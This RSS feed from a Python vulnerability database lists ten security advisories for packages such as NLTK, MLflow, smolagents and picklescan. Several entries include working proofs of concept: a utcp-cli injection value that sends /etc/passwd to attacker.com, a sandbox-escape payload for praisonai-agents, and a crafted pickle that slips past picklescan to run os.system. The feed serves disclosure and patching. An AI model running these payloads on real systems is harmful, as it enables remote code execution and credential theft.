<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from pysec</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 08 Jul 2026 14:27:35 +0000</lastBuildDate>
    <item>
      <title>pysec-2026-99</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-99</link>
      <description>NLTK versions &lt;=3.9.2 are vulnerable to arbitrary code execution due to improper input validation in the StanfordSegmenter module. The module dynamically loads external Java .jar files without verification or sandboxing. An attacker can supply or replace the JAR file, enabling the execution of arbitrary Java bytecode at import time. This vulnerability can be exploited through methods such as model poisoning, MITM attacks, or dependency poisoning, leading to remote code execution. The issue arises from the direct execution of the JAR file via subprocess with unvalidated classpath input, allowing malicious classes to execute when loaded by the JVM.</description>
      <content:encoded>NLTK versions &lt;=3.9.2 are vulnerable to arbitrary code execution due to improper input validation in the StanfordSegmenter module. The module dynamically loads external Java .jar files without verification or sandboxing. An attacker can supply or replace the JAR file, enabling the execution of arbitrary Java bytecode at import time. This vulnerability can be exploited through methods such as model poisoning, MITM attacks, or dependency poisoning, leading to remote code execution. The issue arises from the direct execution of the JAR file via subprocess with unvalidated classpath input, allowing malicious classes to execute when loaded by the JVM.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-99</guid>
      <pubDate>Thu, 05 Mar 2026 21:16:14 +0000</pubDate>
    </item>
    <item>
      <title>pysec-2026-96</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-96</link>
      <description>A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The _unzip_iter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as __init__.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.</description>
      <content:encoded>A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The _unzip_iter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as __init__.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-96</guid>
      <pubDate>Wed, 18 Feb 2026 18:24:19 +0000</pubDate>
    </item>
    <item>
      <title>pysec-2026-560</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-560</link>
      <description>## Summary

The `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.

## Affected File

`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`
 
## Vulnerable Code

```python
def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied
```

The substituted command is then embedded directly into a shell script:

```python
script_lines.append(f'{var_name}=$({substituted_command} 2&gt;&amp;1)')
```

And executed via:

```python
shell_cmd = ['/bin/bash', '-c', script]
```

## Proof of Concept

Given a tool defined as:
```json
{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}
```

Calling with:
 ```python
tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}
```

Produces and executes:
```bash
CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2&gt;&amp;1)
```

This results in full Remote Code Execution on the host system.

 ## Patched

Fixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `&amp;`, backticks, `$()`, newlines).

**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -&gt; `--verbose --debug`) must now use one placeholder per intended argument.

## Mitigation

Upgrade to `utcp-cli &gt;= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.

## Credit

Reported by @ZeroXJacks.</description>
      <content:encoded>## Summary

The `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.

## Affected File

`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`
 
## Vulnerable Code

```python
def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied
```

The substituted command is then embedded directly into a shell script:

```python
script_lines.append(f'{var_name}=$({substituted_command} 2&gt;&amp;1)')
```

And executed via:

```python
shell_cmd = ['/bin/bash', '-c', script]
```

## Proof of Concept

Given a tool defined as:
```json
{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}
```

Calling with:
 ```python
tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}
```

Produces and executes:
```bash
CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2&gt;&amp;1)
```

This results in full Remote Code Execution on the host system.

 ## Patched

Fixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `&amp;`, backticks, `$()`, newlines).

**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -&gt; `--verbose --debug`) must now use one placeholder per intended argument.

## Mitigation

Upgrade to `utcp-cli &gt;= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.

## Credit

Reported by @ZeroXJacks.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-560</guid>
      <pubDate>Mon, 29 Jun 2026 11:50:49 +0000</pubDate>
    </item>
    <item>
      <title>pysec-2026-551</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-551</link>
      <description>A command injection vulnerability in the execute_command function of terminal-controller-mcp 0.1.7 allows attackers to execute arbitrary commands via a crafted input.</description>
      <content:encoded>A command injection vulnerability in the execute_command function of terminal-controller-mcp 0.1.7 allows attackers to execute arbitrary commands via a crafted input.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-551</guid>
      <pubDate>Mon, 29 Jun 2026 11:50:51 +0000</pubDate>
    </item>
    <item>
      <title>pysec-2026-543</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-543</link>
      <description>Hugging Face smolagents Remote Python Executor Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face smolagents. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the parsing of pickle data. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28312.</description>
      <content:encoded>Hugging Face smolagents Remote Python Executor Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face smolagents. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the parsing of pickle data. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28312.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-543</guid>
      <pubDate>Mon, 29 Jun 2026 11:50:38 +0000</pubDate>
    </item>
    <item>
      <title>pysec-2026-512</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-512</link>
      <description>The filesystem storage backend in Radicale before 1.1 on Windows allows remote attackers to read or write to arbitrary files via a crafted path, as demonstrated by /c:/file/ignore.</description>
      <content:encoded>The filesystem storage backend in Radicale before 1.1 on Windows allows remote attackers to read or write to arbitrary files via a crafted path, as demonstrated by /c:/file/ignore.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-512</guid>
      <pubDate>Mon, 29 Jun 2026 11:50:32 +0000</pubDate>
    </item>
    <item>
      <title>pysec-2026-484</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-484</link>
      <description>### Summary

`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.

### Details

`python_tools.py:20` (source) -&gt; `python_tools.py:22` (guard bypass) -&gt; `python_tools.py:161` (sink)
 ```python
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses
        raise AttributeError(...)

# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)
```

### PoC
```python

 from praisonaiagents.tools.python_tools import execute_code

payload = """
 t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr, '')
        n = getattr(cls, name_attr, '')
        if m == 'subprocess' and n == 'Popen':
            r = cls(['id'], stdout=PIPE, stderr=PIPE)
            out, err = r.communicate()
            print('RCE:', out.decode())
            break
    except Exception as e:
        print('ERR:', e)
"""

result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```

### Impact

 Any user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.</description>
      <content:encoded>### Summary

`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.

### Details

`python_tools.py:20` (source) -&gt; `python_tools.py:22` (guard bypass) -&gt; `python_tools.py:161` (sink)
 ```python
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses
        raise AttributeError(...)

# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)
```

### PoC
```python

 from praisonaiagents.tools.python_tools import execute_code

payload = """
 t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr, '')
        n = getattr(cls, name_attr, '')
        if m == 'subprocess' and n == 'Popen':
            r = cls(['id'], stdout=PIPE, stderr=PIPE)
            out, err = r.communicate()
            print('RCE:', out.decode())
            break
    except Exception as e:
        print('ERR:', e)
"""

result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```

### Impact

 Any user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-484</guid>
      <pubDate>Mon, 29 Jun 2026 11:50:48 +0000</pubDate>
    </item>
    <item>
      <title>pysec-2026-456</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-456</link>
      <description>## Summary

`pkgutil.resolve_name()` is a Python stdlib function that resolves any `"module:attribute"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle's opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's **entire blocklist concept** — every single entry in `_unsafe_globals` can be bypassed.

## Severity

**Critical** (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

## Affected Versions

- picklescan &lt;= 1.0.3 (all versions including latest)

## Details

### How It Works

A pickle file uses two chained REDUCE calls:

```
1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE
```

picklescan's opcode scanner sees:
- `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` → **NOT in blocklist** → CLEAN
- The second `REDUCE` operates on a stack value (the return of the first call), not on a global import → **invisible to scanner**

The string `"os:system"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

### Decompiled Pickle (what the data actually does)

```python
from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1
```

### Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

| Chain | Resolves To | Confirmed RCE | picklescan Result |
|-------|------------|---------------|-------------------|
| `resolve_name("os:system")` | `os.system` | YES | CLEAN |
| `resolve_name("builtins:exec")` | `builtins.exec` | YES | CLEAN |
| `resolve_name("builtins:eval")` | `builtins.eval` | YES | CLEAN |
| `resolve_name("subprocess:getoutput")` | `subprocess.getoutput` | YES | CLEAN |
| `resolve_name("subprocess:getstatusoutput")` | `subprocess.getstatusoutput` | YES | CLEAN |
| `resolve_name("subprocess:call")` | `subprocess.call` | YES (shell=True needed) | CLEAN |
| `resolve_name("subprocess:check_call")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN |
| `resolve_name("subprocess:check_output")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN |
| `resolve_name("posix:system")` | `posix.system` | YES | CLEAN |
| `resolve_name("cProfile:run")` | `cProfile.run` | YES | CLEAN |
| `resolve_name("profile:run")` | `profile.run` | YES | CLEAN |
| `resolve_name("pty:spawn")` | `pty.spawn` | YES | CLEAN |
 
**Total:** 11+ confirmed RCE chains, all reporting CLEAN.

### Proof of Concept
 
```python
import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("&lt;B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("&lt;Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

 # picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)
 ```

### Why `pkgutil` Is Not Blocked

picklescan's `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility — its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget.

**Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list.

## Impact

This is a **complete bypass** of picklescan's security model. The entire blocklist — every module and function entry in `_unsafe_globals` — is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function.
 
This affects:
- HuggingFace Hub (uses picklescan)
- Any ML pipeline using picklescan for safety validation
- Any system relying on picklescan's blocklist to prevent malicious pickle execution

## Suggested Fix

1. **Immediate:** Add `pkgutil` to `_unsafe_globals`:
   ```python
   "pkgutil": {"resolve_name"},
   ```
 
2. **Also block similar resolution functions:**
   ```python
   "importlib": "*",
   "importlib.util": "*",
   ```

3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider:
   - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `"module:function"`)
   - Treating unknown globals as dangerous by default
   - Switching to an allowlist model</description>
      <content:encoded>## Summary

`pkgutil.resolve_name()` is a Python stdlib function that resolves any `"module:attribute"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle's opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's **entire blocklist concept** — every single entry in `_unsafe_globals` can be bypassed.

## Severity

**Critical** (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

## Affected Versions

- picklescan &lt;= 1.0.3 (all versions including latest)

## Details

### How It Works

A pickle file uses two chained REDUCE calls:

```
1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE
```

picklescan's opcode scanner sees:
- `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` → **NOT in blocklist** → CLEAN
- The second `REDUCE` operates on a stack value (the return of the first call), not on a global import → **invisible to scanner**

The string `"os:system"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

### Decompiled Pickle (what the data actually does)

```python
from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1
```

### Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

| Chain | Resolves To | Confirmed RCE | picklescan Result |
|-------|------------|---------------|-------------------|
| `resolve_name("os:system")` | `os.system` | YES | CLEAN |
| `resolve_name("builtins:exec")` | `builtins.exec` | YES | CLEAN |
| `resolve_name("builtins:eval")` | `builtins.eval` | YES | CLEAN |
| `resolve_name("subprocess:getoutput")` | `subprocess.getoutput` | YES | CLEAN |
| `resolve_name("subprocess:getstatusoutput")` | `subprocess.getstatusoutput` | YES | CLEAN |
| `resolve_name("subprocess:call")` | `subprocess.call` | YES (shell=True needed) | CLEAN |
| `resolve_name("subprocess:check_call")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN |
| `resolve_name("subprocess:check_output")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN |
| `resolve_name("posix:system")` | `posix.system` | YES | CLEAN |
| `resolve_name("cProfile:run")` | `cProfile.run` | YES | CLEAN |
| `resolve_name("profile:run")` | `profile.run` | YES | CLEAN |
| `resolve_name("pty:spawn")` | `pty.spawn` | YES | CLEAN |
 
**Total:** 11+ confirmed RCE chains, all reporting CLEAN.

### Proof of Concept
 
```python
import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("&lt;B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("&lt;Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

 # picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)
 ```

### Why `pkgutil` Is Not Blocked

picklescan's `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility — its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget.

**Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list.

## Impact

This is a **complete bypass** of picklescan's security model. The entire blocklist — every module and function entry in `_unsafe_globals` — is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function.
 
This affects:
- HuggingFace Hub (uses picklescan)
- Any ML pipeline using picklescan for safety validation
- Any system relying on picklescan's blocklist to prevent malicious pickle execution

## Suggested Fix

1. **Immediate:** Add `pkgutil` to `_unsafe_globals`:
   ```python
   "pkgutil": {"resolve_name"},
   ```
 
2. **Also block similar resolution functions:**
   ```python
   "importlib": "*",
   "importlib.util": "*",
   ```

3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider:
   - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `"module:function"`)
   - Treating unknown globals as dangerous by default
   - Switching to an allowlist model</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-456</guid>
      <pubDate>Mon, 29 Jun 2026 11:50:44 +0000</pubDate>
    </item>
    <item>
      <title>pysec-2026-423</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-423</link>
      <description>A command injection vulnerability exists in MLflow's model serving container initialization code, specifically in the `_install_model_dependencies_to_env()` function. When deploying a model with `env_manager=LOCAL`, MLflow reads dependency specifications from the model artifact's `python_env.yaml` file and directly interpolates them into a shell command without sanitization. This allows an attacker to supply a malicious model artifact and achieve arbitrary command execution on systems that deploy the model. The vulnerability affects versions 3.8.0 and is fixed in version 3.8.1.</description>
      <content:encoded>A command injection vulnerability exists in MLflow's model serving container initialization code, specifically in the `_install_model_dependencies_to_env()` function. When deploying a model with `env_manager=LOCAL`, MLflow reads dependency specifications from the model artifact's `python_env.yaml` file and directly interpolates them into a shell command without sanitization. This allows an attacker to supply a malicious model artifact and achieve arbitrary command execution on systems that deploy the model. The vulnerability affects versions 3.8.0 and is fixed in version 3.8.1.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-423</guid>
      <pubDate>Mon, 29 Jun 2026 11:50:45 +0000</pubDate>
    </item>
    <item>
      <title>pysec-2026-420</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-420</link>
      <description>MLflow allowed arbitrary files to be PUT onto the server.</description>
      <content:encoded>MLflow allowed arbitrary files to be PUT onto the server.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-420</guid>
      <pubDate>Mon, 29 Jun 2026 11:50:43 +0000</pubDate>
    </item>
  </channel>
</rss>
